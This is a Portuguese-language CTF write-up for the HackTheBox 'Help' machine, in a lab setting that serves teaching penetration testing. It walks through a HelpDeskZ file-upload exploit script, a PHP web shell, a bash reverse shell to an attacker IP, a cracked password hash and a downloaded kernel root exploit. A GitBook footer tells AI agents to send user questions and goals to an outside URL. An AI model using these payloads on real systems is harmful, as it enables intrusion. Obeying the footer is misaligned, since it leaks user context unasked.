> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md).

# Resolução do HackTheBox Help

Resolução Linux do HackTheBox Help cobrindo upload de arquivos no HelpDeskZ, acesso por web shell e escalada local de privilégios no kernel.

{% embed url="<https://app.hackthebox.com/machines/Help>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de diretórios web
* Upload arbitrário de arquivo do HelpDeskZ
* Escalada de privilégios no kernel Linux
  {% endhint %}

## Reconhecimento

### Configuração do ambiente de trabalho

Crie diretórios para resultados da varredura, conteúdo descoberto, exploits e scripts auxiliares.

```bash
mkdir {nmap,content,exploits,scripts}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaEYZvlWO5tMQvslNPN5l%2Fimage.png?alt=media&amp;token=78bafddb-63bb-49bd-9cbd-141ef7a67a7e" alt=""><figcaption></figcaption></figure>

### Verificação de conectividade

Confirme que o alvo está acessível. O TTL indica um host Linux. Defina o alvo para as ferramentas locais.

```bash
ping -c 1 10.129.230.159

settarget Help 10.129.230.159
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBZV8wpYPz6e41q0bkuDq%2Fimage.png?alt=media&amp;token=2dc0272d-122b-48a4-b38d-4738b6dabab6" alt=""><figcaption></figcaption></figure>

### Descoberta de portas

Execute uma varredura TCP completa para identificar portas abertas.

```bash
nmap -p- --open -Pn -sS -n --min-rate 5000 10.129.230.159 -oG allPorts
```

A varredura identifica as portas `22`, `80`, e `3000`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7nFVF3KT2s3dO11xTPSq%2Fimage.png?alt=media&amp;token=accddffa-b841-4747-b494-52709363ca79" alt=""><figcaption></figcaption></figure>

Execute uma varredura direcionada de serviços e versões.

```bash
nmap -sCV -p22,80,3000 10.129.230.159 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ff5trIktmq9uomFROn4y8%2Fimage.png?alt=media&amp;token=2db48891-4d75-41be-a236-bbd059e687b3" alt=""><figcaption></figcaption></figure>

Adicione o hostname do alvo ao `/etc/hosts`.

```bash
nano /etc/hosts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FObFfltTof0lS3wFqL5yY%2Fimage.png?alt=media&amp;token=c9fbcc09-a532-4163-8bf3-151f7a592c3a" alt=""><figcaption></figcaption></figure>

### Enumeração web

Porta `80` exibe a página padrão do Apache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMAL6AfwhQIKKhkqSI0JX%2Fimage.png?alt=media&amp;token=fd2a867a-52bf-4264-a6e0-839135a81dc0" alt=""><figcaption></figcaption></figure>

Use o Gobuster para descobrir diretórios web.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

{% endcode %}

A varredura descobre o `/support` aplicativo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FORknBdnCnVu7FzCSZEsQ%2Fimage.png?alt=media&amp;token=8a1bff5b-3c06-4602-8747-bea3b836dbaf" alt=""><figcaption></figcaption></figure>

O aplicativo usa a plataforma de help desk HelpDeskZ.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo6PfyCdm5IyZgRhVaBGz%2Fimage.png?alt=media&amp;token=972085ec-73dd-42cc-a95a-413150a9a472" alt=""><figcaption></figcaption></figure>

## Acesso inicial

Pesquise por exploits públicos do HelpDeskZ. Uma vulnerabilidade de upload arbitrário de arquivo funciona sem autenticação.

{% code overflow="wrap" %}

```bash
searchsploit helpdeskz
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlZgPL86fiUGToiVBQg55%2Fimage.png?alt=media&amp;token=2af1bd41-065d-47d6-8b28-31e9c991b454" alt=""><figcaption></figcaption></figure>

O exploit calcula o caminho de upload a partir do nome do arquivo e do timestamp de upload.

{% code overflow="wrap" %}

```python
import sys
import requests
import hashlib
from time import time


def md5(data):
    return hashlib.md5(data).hexdigest()


def get(base, filename, at):
    uploaded_file = "{}/uploads/tickets/{}.{}".format(
        base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
    )

    r = requests.get(uploaded_file)
    if r.status_code == 200:
        return uploaded_file


def main(argv):
    if len(sys.argv) < 3:
        print("USO: {} HELPDESKZ_URL FILENAME".format(argv[0]))
        return
    for i in range(1000):
        url = get(argv[1], argv[2], int(time() - i))
        if url is not None:
            print(url)
            return
    print("Ops ... não encontrado")


if __name__ == "__main__":
    main(sys.argv)
```

{% endcode %}

Execute o exploit contra a instância do HelpDeskZ.

{% code overflow="wrap" %}

```bash
python2 exploit.py http://help.htb/support/ cmd.php 
```

{% endcode %}

Faça upload de uma web shell PHP minimalista como `cmd.php`.

{% code overflow="wrap" %}

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ5JxGt1CqaUtrjF10xwc%2Fimage.png?alt=media&amp;token=bed6809b-44f7-4d3e-83cf-54f7309dd8f7" alt=""><figcaption></figcaption></figure>

O exploit retorna o caminho do arquivo enviado.

* [Web shell enviada](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)

Confirme a execução remota de comandos.

{% code overflow="wrap" %}

```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUIHFCDozkPZZtnYI1aY2%2Fimage.png?alt=media&amp;token=8fea7b95-74bd-4dd7-91d8-e33580e49e9c" alt=""><figcaption></figcaption></figure>

Leia a flag do usuário.

{% code overflow="wrap" %}

```bash
?cmd=cat /home/help/user.txt
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frv1bFn0Mvb1n9uiNZtxx%2Fimage.png?alt=media&amp;token=38591be5-e8bd-43f4-aaff-6a1716a3ba01" alt=""><figcaption></figcaption></figure>

Inicie um listener para uma reverse shell.

{% code overflow="wrap" %}

```bash
nc -nvlp 443
```

{% endcode %}

Execute o seguinte comando pela web shell.

{% code overflow="wrap" %}

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FteERGhti3QwsbE8iv7st%2Fimage.png?alt=media&amp;token=85124eec-4a00-458f-a744-5bd4aa051825" alt=""><figcaption></figcaption></figure>

### Estabilização do shell

Atualize o shell para uma TTY totalmente interativa.

{% code overflow="wrap" %}

```
script /dev/null -c bash
# Pressione Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

{% endcode %}

### Escalada de privilégios

O `help` o diretório home contém o aplicativo Node.js exposto na porta `3000`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMJElgWA6hQ82tH4IawHL%2Fimage.png?alt=media&amp;token=b44898d5-f61b-4d15-8aa0-b9d91710b345" alt=""><figcaption></figcaption></figure>

Pesquise nos arquivos do aplicativo por senhas armazenadas.

{% code overflow="wrap" %}

```bash
grep -RIn --exclude-dir=node_modules "password" .
```

{% endcode %}

A busca revela credenciais em vários arquivos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FliLjwytTCxfBaTBvoZV9%2Fimage.png?alt=media&amp;token=5795d345-b22f-4f2c-865f-b1bcacc82b5d" alt=""><figcaption></figcaption></figure>

* <helpme@helpme.com>
* 5d3c93182bb20f07b994a7f617e99cff

Quebre o hash MD5 com o CrackStation.

{% embed url="<https://crackstation.net/>" %}

A senha é fraca:

* godhelpmeplz

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJZ6eW6RsbxsOri7mPaqR%2Fimage.png?alt=media&amp;token=eda6d2a3-7ea8-43c6-9cb9-e784975e13e3" alt=""><figcaption></figcaption></figure>

Identifique a versão do sistema operacional instalada.

{% code overflow="wrap" %}

```bash
cat /etc/os-release
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7gWpThrAlZsNDva0DF9v%2Fimage.png?alt=media&amp;token=aedeb459-ce9d-4012-9ece-01fd2e0fccd8" alt=""><figcaption></figcaption></figure>

O host executa Ubuntu `16.04` com o kernel `4.4.0-116`. Esta versão corresponde a um exploit público de escalada local de privilégios.

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

Baixe o código-fonte bruto do exploit.

{% embed url="<https://www.exploit-db.com/raw/44298>" %}

Hospede o exploit na máquina atacante.

{% code overflow="wrap" %}

```bash
wget https://www.exploit-db.com/raw/44298

python3 -m http.server 8081
```

{% endcode %}

Baixe-o do alvo.

{% code overflow="wrap" %}

```bash
wget http://10.10.15.2:8081/44298
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

Compile e execute o exploit.

{% code overflow="wrap" %}

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c

./exploit
```

{% endcode %}

O exploit retorna um shell como `root`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWv3O140AFz19RhTy5khR%2Fimage.png?alt=media&amp;token=3481b27c-86a9-495a-bbe7-9747f664bc92" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Frdtor4Y6gXIS6RsvptX7%2Fimage.png?alt=media&amp;token=609c8968-5e9e-4c77-b766-0e477362c44a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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